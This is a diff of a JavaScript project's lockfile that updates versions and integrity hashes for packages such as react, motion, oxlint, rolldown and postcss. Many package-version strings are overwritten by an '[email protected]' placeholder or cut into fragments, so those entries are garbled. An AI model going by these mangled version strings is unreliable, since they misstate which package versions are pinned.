"magic-string": ["[email protected]", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
||||||
|
|
||||||
@@ -1043,15 +1044,15 @@
|
|||||||
|
|
||||||
"minipass": ["[email protected]", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="],
|
"minipass": ["[email protected]", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="],
|
||||||
|
|
||||||
"motion": ["motion@12.38.0", "", { "dependencies": { "framer-motion": "^12.38.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-uYfXzeHlgThchzwz5Te47dlv5JOUC7OB4rjJ/7XTUgtBZD8CchMN8qEJ4ZVsUmTyYA44zjV0fBwsiktRuFnn+w=="],
|
"motion": ["motion@12.40.0", "", { "dependencies": { "framer-motion": "^12.40.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-yjrHUrBFW6kQvjJwRsoiPSAhC5tRwRqNGJWmiJ4CrGnbKp0V88AdzkhBmDoqIsIPfarOe0Uddd37Xq43/gIocA=="],
|
||||||
|
|
||||||
"motion-dom": ["motion-dom@12.38.0", "", { "dependencies": { "motion-utils": "^12.36.0" } }, "sha512-pdkHLD8QYRp8VfiNLb8xIBJis1byQ9gPT3Jnh2jqfFtAsWUA3dEepDlsWe/xMpO8McV+VdpKVcp+E+TGJEtOoA=="],
|
"motion-dom": ["motion-dom@12.40.0", "", { "dependencies": { "motion-utils": "^12.39.0" } }, "sha512-HxU3ZaBwNPVQUBQf1xxgq+7JrPNZvjLVxgbpEZL7RrWJnsxOf0/OM+yrHG9ogLQ31Do/r57Oz2gQWPK+6q62mg=="],
|
||||||
|
|
||||||
"motion-utils": ["[email protected]6.0", "", {}, "sha512-eHWisygbiwVvf6PZ1vhaHCLamvkSbPIeAYxWUuL3a2PD/TROgE7FvfHWTIH4vMl798QLfMw15nRqIaRDXTlYRg=="],
|
"motion-utils": ["[email protected]9.0", "", {}, "sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ=="],
|
||||||
|
|
||||||
"ms": ["[email protected]", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
|
"ms": ["[email protected]", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
|
||||||
|
|
||||||
"nanoid": ["[email protected]1", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
|
"nanoid": ["[email protected]2", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="],
|
||||||
|
|
||||||
"negotiator": ["[email protected]", "", {}, "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w=="],
|
"negotiator": ["[email protected]", "", {}, "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w=="],
|
||||||
|
|
||||||
@@ -1071,9 +1072,9 @@
|
|||||||
|
|
||||||
"oniguruma-to-es": ["[email protected]", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="],
|
"oniguruma-to-es": ["[email protected]", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="],
|
||||||
|
|
||||||
"oxfmt": ["oxfmt@0.46.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.46.0", "@oxfmt/binding-android-arm64": "0.46.0", "@oxfmt/binding-darwin-arm64": "0.46.0", "@oxfmt/binding-darwin-x64": "0.46.0", "@oxfmt/binding-freebsd-x64": "0.46.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.46.0", "@oxfmt/binding-linux-arm-musleabihf": "0.46.0", "@oxfmt/binding-linux-arm64-gnu": "0.46.0", "@oxfmt/binding-linux-arm64-musl": "0.46.0", "@oxfmt/binding-linux-ppc64-gnu": "0.46.0", "@oxfmt/binding-linux-riscv64-gnu": "0.46.0", "@oxfmt/binding-linux-riscv64-musl": "0.46.0", "@oxfmt/binding-linux-s390x-gnu": "0.46.0", "@oxfmt/binding-linux-x64-gnu": "0.46.0", "@oxfmt/binding-linux-x64-musl": "0.46.0", "@oxfmt/binding-openharmony-arm64": "0.46.0", "@oxfmt/binding-win32-arm64-msvc": "0.46.0", "@oxfmt/binding-win32-ia32-msvc": "0.46.0", "@oxfmt/binding-win32-x64-msvc": "0.46.0" }, "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-CopwJOwPAjZ9p76fCvz+mSOJTw9/NY3cSksZK3VO/bUQ8UoEcketNgUuYS0UB3p+R9XnXe7wGGXUmyFxc7QxJA=="],
|
"oxfmt": ["oxfmt@0.51.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.51.0", "@oxfmt/binding-android-arm64": "0.51.0", "@oxfmt/binding-darwin-arm64": "0.51.0", "@oxfmt/binding-darwin-x64": "0.51.0", "@oxfmt/binding-freebsd-x64": "0.51.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.51.0", "@oxfmt/binding-linux-arm-musleabihf": "0.51.0", "@oxfmt/binding-linux-arm64-gnu": "0.51.0", "@oxfmt/binding-linux-arm64-musl": "0.51.0", "@oxfmt/binding-linux-ppc64-gnu": "0.51.0", "@oxfmt/binding-linux-riscv64-gnu": "0.51.0", "@oxfmt/binding-linux-riscv64-musl": "0.51.0", "@oxfmt/binding-linux-s390x-gnu": "0.51.0", "@oxfmt/binding-linux-x64-gnu": "0.51.0", "@oxfmt/binding-linux-x64-musl": "0.51.0", "@oxfmt/binding-openharmony-arm64": "0.51.0", "@oxfmt/binding-win32-arm64-msvc": "0.51.0", "@oxfmt/binding-win32-ia32-msvc": "0.51.0", "@oxfmt/binding-win32-x64-msvc": "0.51.0" }, "peerDependencies": { "svelte": "^5.0.0" }, "optionalPeers": ["svelte"], "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-l/AoAnaEOV7Q5/Z9kHOMDehVJnCgYN7wRoooWCTUMBMi16BJhLZqd9cmCnwcVFfVlzkt53zK2KLPFNp8vSsoDg=="],
|
||||||
|
|
||||||
"oxlint": ["[email protected]1.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.61.0", "@oxlint/binding-android-arm64": "1.61.0", "@oxlint/binding-darwin-arm64": "1.61.0", "@oxlint/binding-darwin-x64": "1.61.0", "@oxlint/binding-freebsd-x64": "1.61.0", "@oxlint/binding-linux-arm-gnueabihf": "1.61.0", "@oxlint/binding-linux-arm-musleabihf": "1.61.0", "@oxlint/binding-linux-arm64-gnu": "1.61.0", "@oxlint/binding-linux-arm64-musl": "1.61.0", "@oxlint/binding-linux-ppc64-gnu": "1.61.0", "@oxlint/binding-linux-riscv64-gnu": "1.61.0", "@oxlint/binding-linux-riscv64-musl": "1.61.0", "@oxlint/binding-linux-s390x-gnu": "1.61.0", "@oxlint/binding-linux-x64-gnu": "1.61.0", "@oxlint/binding-linux-x64-musl": "1.61.0", "@oxlint/binding-openharmony-arm64": "1.61.0", "@oxlint/binding-win32-arm64-msvc": "1.61.0", "@oxlint/binding-win32-ia32-msvc": "1.61.0", "@oxlint/binding-win32-x64-msvc": "1.61.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.18.0" }, "optionalPeers": ["oxlint-tsgolint"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-ZC0ALuhDZ6ivOFG+sy0D0pEDN49EvsId98zVlmYdkcXHsEM14m/qTNUEsUpiFiCVbpIxYtVBmmLE87nsbUHohQ=="],
|
"oxlint": ["[email protected]6.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.66.0", "@oxlint/binding-android-arm64": "1.66.0", "@oxlint/binding-darwin-arm64": "1.66.0", "@oxlint/binding-darwin-x64": "1.66.0", "@oxlint/binding-freebsd-x64": "1.66.0", "@oxlint/binding-linux-arm-gnueabihf": "1.66.0", "@oxlint/binding-linux-arm-musleabihf": "1.66.0", "@oxlint/binding-linux-arm64-gnu": "1.66.0", "@oxlint/binding-linux-arm64-musl": "1.66.0", "@oxlint/binding-linux-ppc64-gnu": "1.66.0", "@oxlint/binding-linux-riscv64-gnu": "1.66.0", "@oxlint/binding-linux-riscv64-musl": "1.66.0", "@oxlint/binding-linux-s390x-gnu": "1.66.0", "@oxlint/binding-linux-x64-gnu": "1.66.0", "@oxlint/binding-linux-x64-musl": "1.66.0", "@oxlint/binding-openharmony-arm64": "1.66.0", "@oxlint/binding-win32-arm64-msvc": "1.66.0", "@oxlint/binding-win32-ia32-msvc": "1.66.0", "@oxlint/binding-win32-x64-msvc": "1.66.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.22.1" }, "optionalPeers": ["oxlint-tsgolint"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-N4LLxYLd94KEBqXDMDM5f+2PUpItTjDLreXe2Gn5KhjhCK4Qp2YUXaBi8Yu325ryOgKwt22m45fpD7nPOn69Yw=="],
|
||||||
|
|
||||||
"p-map": ["[email protected]", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="],
|
"p-map": ["[email protected]", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="],
|
||||||
|
|
||||||
@@ -1107,7 +1108,7 @@
|
|||||||
|
|
||||||
"pkg-types": ["[email protected]", "", { "dependencies": { "confbox": "^0.2.2", "exsolve": "^1.0.7", "pathe": "^2.0.3" } }, "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig=="],
|
"pkg-types": ["[email protected]", "", { "dependencies": { "confbox": "^0.2.2", "exsolve": "^1.0.7", "pathe": "^2.0.3" } }, "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig=="],
|
||||||
|
|
||||||
"postcss": ["[email protected]0", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ=="],
|
"postcss": ["[email protected]5", "", { "dependencies": { "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A=="],
|
||||||
|
|
||||||
"prettier": ["[email protected]", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA=="],
|
"prettier": ["[email protected]", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA=="],
|
||||||
|
|
||||||
@@ -1123,25 +1124,25 @@
|
|||||||
|
|
||||||
"rc": ["[email protected]", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="],
|
"rc": ["[email protected]", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="],
|
||||||
|
|
||||||
"react": ["[email protected].5", "", {}, "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA=="],
|
"react": ["[email protected].6", "", {}, "sha512-sfWGGfavi0xr8Pg0sVsyHMAOziVYKgPLNrS7ig+ivMNb3wbCBw3KxtflsGBAwD3gYQlE/AEZsTLgToRrSCjb0Q=="],
|
||||||
|
|
||||||
"react-copy-to-clipboard": ["[email protected]", "", { "dependencies": { "copy-to-clipboard": "^3.3.3", "prop-types": "^15.8.1" }, "peerDependencies": { "react": ">=15.3.0" } }, "sha512-s+HrzLyJBxrpGTYXF15dTgMjAJpEPZT/Yp6NytAtZMRngejxt6Pt5WrfFxLAcsqUDU6sY1Jz6tyHwIicE1U2Xg=="],
|
"react-copy-to-clipboard": ["[email protected]", "", { "dependencies": { "copy-to-clipboard": "^3.3.3", "prop-types": "^15.8.1" }, "peerDependencies": { "react": ">=15.3.0" } }, "sha512-s+HrzLyJBxrpGTYXF15dTgMjAJpEPZT/Yp6NytAtZMRngejxt6Pt5WrfFxLAcsqUDU6sY1Jz6tyHwIicE1U2Xg=="],
|
||||||
|
|
||||||
"react-d3-tree": ["[email protected]", "", { "dependencies": { "@bkrem/react-transition-group": "^1.3.5", "@types/d3-hierarchy": "^1.1.8", "clone": "^2.1.1", "d3-hierarchy": "^1.1.9", "d3-selection": "^3.0.0", "d3-shape": "^1.3.7", "d3-zoom": "^3.0.0", "dequal": "^2.0.2", "uuid": "^8.3.1" }, "peerDependencies": { "react": "16.x || 17.x || 18.x || 19.x", "react-dom": "16.x || 17.x || 18.x || 19.x" } }, "sha512-E9ByUdeqvlxLlF9BSL7KWQH3ikYHtHO+g1rAPcVgj6mu92tjRUCan2AWxoD4eTSzzAATf8BZtf+CXGSoSd6ioQ=="],
|
"react-d3-tree": ["[email protected]", "", { "dependencies": { "@bkrem/react-transition-group": "^1.3.5", "@types/d3-hierarchy": "^1.1.8", "clone": "^2.1.1", "d3-hierarchy": "^1.1.9", "d3-selection": "^3.0.0", "d3-shape": "^1.3.7", "d3-zoom": "^3.0.0", "dequal": "^2.0.2", "uuid": "^8.3.1" }, "peerDependencies": { "react": "16.x || 17.x || 18.x || 19.x", "react-dom": "16.x || 17.x || 18.x || 19.x" } }, "sha512-E9ByUdeqvlxLlF9BSL7KWQH3ikYHtHO+g1rAPcVgj6mu92tjRUCan2AWxoD4eTSzzAATf8BZtf+CXGSoSd6ioQ=="],
|
||||||
|
|
||||||
"react-dom": ["[email protected].5", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.5" } }, "sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag=="],
|
"react-dom": ["[email protected].6", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.6" } }, "sha512-0prMI+hvBbPjsWnxDLxlCGyM8PN6UuWjEUCYmZhO67xIV9Xasa/r/vDnq+Xyq4Lo27g8QSbO5YzARu0D1Sps3g=="],
|
||||||
|
|
||||||
"react-hook-form": ["[email protected]4.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-yR6wHr99p9wFv686jhRWVSFhUvDvNbdUf2dKlbno8/VKOCuoNobDGC6S+M2dua9A9Yo8vpcrp8assIYbsZCQ9g=="],
|
"react-hook-form": ["[email protected]6.1", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-rYM7tPiWlu3nZchkR/ex7piyzui2vFPyaLnXnI/RnblB/L4qfMmyses8llJVtF1NpE9WBBsJlGtcSZzPCXW1qQ=="],
|
||||||
|
|
||||||
"react-hotkeys-hook": ["[email protected]", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="],
|
"react-hotkeys-hook": ["[email protected]", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="],
|
||||||
|
|
||||||
"react-i18next": ["[email protected].4", "", { "dependencies": { "@babel/runtime": "^7.29.2", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.0.1", "react": ">= 16.8.0", "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-hQipmK4EF0y6RO6tt6WuqnmWpWYEXmQUUzecmMBuNsIgYd3smXcG4GtYPWhvgxn0pqMOItKlEO8H24HCs5hc3g=="],
|
"react-i18next": ["[email protected].8", "", { "dependencies": { "@babel/runtime": "^7.29.2", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.2.0", "react": ">= 16.8.0", "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-0ooKbGLU8JXhe1zwpQUWIeXSgLPOfwJmgheWRIUpcoA0CpyabpGhayjdG+/eA5esC1AQ8h2jWpXjJfzQzeDOCw=="],
|
||||||
|
|
||||||
"react-is": ["[email protected]", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
|
"react-is": ["[email protected]", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
|
||||||
|
|
||||||
"react-lifecycles-compat": ["[email protected]", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="],
|
"react-lifecycles-compat": ["[email protected]", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="],
|
||||||
|
|
||||||
"react-medium-image-zoom": ["[email protected].3", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-cDIwdn35fRUPsGnnj/cG6Pacll+z+Mfv6EWU2wDO5ngbZjg5uLRb2ZhEnh92ufbXCJDFvXHekb8G3+oKqUcv5g=="],
|
"react-medium-image-zoom": ["[email protected].5", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-58QSIRK6X3uw2fSTejJRnH0JuKTZl7ZJYX+sAMaYx4YTEm33gsNdnP5RuQSCnBiAvisQeErqZWAT31bR89WB6g=="],
|
||||||
|
|
||||||
"react-refresh": ["[email protected]", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="],
|
"react-refresh": ["[email protected]", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="],
|
||||||
|
|
||||||
@@ -1207,7 +1208,7 @@
|
|||||||
|
|
||||||
"rimraf": ["[email protected]", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="],
|
"rimraf": ["[email protected]", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="],
|
||||||
|
|
||||||
"rolldown": ["[email protected].0-rc.17", "", { "dependencies": { "@oxc-project/types": "=0.127.0", "@rolldown/pluginutils": "1.0.0-rc.17" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.0.0-rc.17", "@rolldown/binding-darwin-arm64": "1.0.0-rc.17", "@rolldown/binding-darwin-x64": "1.0.0-rc.17", "@rolldown/binding-freebsd-x64": "1.0.0-rc.17", "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-rc.17", "@rolldown/binding-linux-arm64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-arm64-musl": "1.0.0-rc.17", "@rolldown/binding-linux-ppc64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-s390x-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-x64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-x64-musl": "1.0.0-rc.17", "@rolldown/binding-openharmony-arm64": "1.0.0-rc.17", "@rolldown/binding-wasm32-wasi": "1.0.0-rc.17", "@rolldown/binding-win32-arm64-msvc": "1.0.0-rc.17", "@rolldown/binding-win32-x64-msvc": "1.0.0-rc.17" }, "bin": { "rolldown": "bin/cli.mjs" } }, "sha512-ZrT53oAKrtA4+YtBWPQbtPOxIbVDbxT0orcYERKd63VJTF13zPcgXTvD4843L8pcsI7M6MErt8QtON6lrB9tyA=="],
|
"rolldown": ["[email protected].2", "", { "dependencies": { "@oxc-project/types": "=0.132.0", "@rolldown/pluginutils": "^1.0.0" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.0.2", "@rolldown/binding-darwin-arm64": "1.0.2", "@rolldown/binding-darwin-x64": "1.0.2", "@rolldown/binding-freebsd-x64": "1.0.2", "@rolldown/binding-linux-arm-gnueabihf": "1.0.2", "@rolldown/binding-linux-arm64-gnu": "1.0.2", "@rolldown/binding-linux-arm64-musl": "1.0.2", "@rolldown/binding-linux-ppc64-gnu": "1.0.2", "@rolldown/binding-linux-s390x-gnu": "1.0.2", "@rolldown/binding-linux-x64-gnu": "1.0.2", "@rolldown/binding-linux-x64-musl": "1.0.2", "@rolldown/binding-openharmony-arm64": "1.0.2", "@rolldown/binding-wasm32-wasi": "1.0.2", "@rolldown/binding-win32-arm64-msvc": "1.0.2", "@rolldown/binding-win32-x64-msvc": "1.0.2" }, "bin": { "rolldown": "./bin/cli.mjs" } }, "sha512-oZx5zVDtVB44AW3eaifgDml1gWRDZGvjcfdxonE4swNPG98PrrXjaO/KrnUjzlMnztCCRVlUueA1kCXhARGk6g=="],
|
||||||
|
|
||||||
"rollup": ["[email protected]", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.53.3", "@rollup/rollup-android-arm64": "4.53.3", "@rollup/rollup-darwin-arm64": "4.53.3", "@rollup/rollup-darwin-x64": "4.53.3", "@rollup/rollup-freebsd-arm64": "4.53.3", "@rollup/rollup-freebsd-x64": "4.53.3", "@rollup/rollup-linux-arm-gnueabihf": "4.53.3", "@rollup/rollup-linux-arm-musleabihf": "4.53.3", "@rollup/rollup-linux-arm64-gnu": "4.53.3", "@rollup/rollup-linux-arm64-musl": "4.53.3", "@rollup/rollup-linux-loong64-gnu": "4.53.3", "@rollup/rollup-linux-ppc64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-musl": "4.53.3", "@rollup/rollup-linux-s390x-gnu": "4.53.3", "@rollup/rollup-linux-x64-gnu": "4.53.3", "@rollup/rollup-linux-x64-musl": "4.53.3", "@rollup/rollup-openharmony-arm64": "4.53.3", "@rollup/rollup-win32-arm64-msvc": "4.53.3", "@rollup/rollup-win32-ia32-msvc": "4.53.3", "@rollup/rollup-win32-x64-gnu": "4.53.3", "@rollup/rollup-win32-x64-msvc": "4.53.3", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA=="],
|
"rollup": ["[email protected]", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.53.3", "@rollup/rollup-android-arm64": "4.53.3", "@rollup/rollup-darwin-arm64": "4.53.3", "@rollup/rollup-darwin-x64": "4.53.3", "@rollup/rollup-freebsd-arm64": "4.53.3", "@rollup/rollup-freebsd-x64": "4.53.3", "@rollup/rollup-linux-arm-gnueabihf": "4.53.3", "@rollup/rollup-linux-arm-musleabihf": "4.53.3", "@rollup/rollup-linux-arm64-gnu": "4.53.3", "@rollup/rollup-linux-arm64-musl": "4.53.3", "@rollup/rollup-linux-loong64-gnu": "4.53.3", "@rollup/rollup-linux-ppc64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-musl": "4.53.3", "@rollup/rollup-linux-s390x-gnu": "4.53.3", "@rollup/rollup-linux-x64-gnu": "4.53.3", "@rollup/rollup-linux-x64-musl": "4.53.3", "@rollup/rollup-openharmony-arm64": "4.53.3", "@rollup/rollup-win32-arm64-msvc": "4.53.3", "@rollup/rollup-win32-ia32-msvc": "4.53.3", "@rollup/rollup-win32-x64-gnu": "4.53.3", "@rollup/rollup-win32-x64-msvc": "4.53.3", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA=="],
|
||||||
|
|
||||||
@@ -1267,15 +1268,15 @@
|
|||||||
|
|
||||||
"supports-preserve-symlinks-flag": ["[email protected]", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
|
"supports-preserve-symlinks-flag": ["[email protected]", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
|
||||||
|
|
||||||
"tailwind-merge": ["tailwind-merge@3.5.0", "", {}, "sha512-I8K9wewnVDkL1NTGoqWmVEIlUcB9gFriAEkXkfCjX5ib8ezGxtR3xD7iZIxrfArjEsH7F1CHD4RFUtxefdqV/A=="],
|
"tailwind-merge": ["tailwind-merge@3.6.0", "", {}, "sha512-uxL7qAVQriqRQPAyK3pj66VqskWqoZ37PW94jwOTwNfq/z9oyu1V+eqrZqtR2+fCiXdYOZe/Modt8GtvqNzu+w=="],
|
||||||
|
|
||||||
